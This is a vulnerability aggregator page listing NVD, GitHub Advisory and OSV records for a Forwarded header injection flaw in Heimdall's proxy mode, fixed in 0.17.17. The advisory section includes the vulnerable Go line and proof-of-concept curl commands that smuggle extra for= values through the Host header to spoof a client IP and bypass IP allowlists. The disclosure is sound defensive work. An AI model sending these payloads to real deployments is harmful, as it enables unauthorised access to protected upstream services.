Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.

Source published

23 Oct 2026 12:27:19 UTC

Source modified

23 Oct 2026 12:27:19 UTC

Observed here

23 Oct 2026 16:01:20 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 7.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.

Source published

23 Oct 2026 13:17:11 UTC

Source modified

23 Oct 2026 19:57:42 UTC

Observed here

25 Oct 2026 14:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary When Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services. ### Vulnerable Code **File: `proxy/request_context.go` (line 201)** ```go entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto ``` Go's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation. ### PoC ```bash # Inject a spoofed IP into the Forwarded header curl -s -H "Host: evil.com,for=127.0.0.1" \ "http://TARGET:PORT/protected-resource" ``` This produces the following `Forwarded` header sent to the upstream service: ``` Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http ``` Upstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP. ```bash # More targeted attack: spoof to bypass IP allowlist curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \ "http://TARGET:PORT/admin-panel" ``` ### Impact - **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP - **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed - **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.

Source published

18 Jun 2026 14:24:41 UTC

Source modified

20 Jul 2026 21:56:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Publisher rating · HIGH

Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode in github.com/dadrus/heimdall

Source published

25 Jun 2026 18:26:48 UTC

Source modified

20 Jul 2026 21:56:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.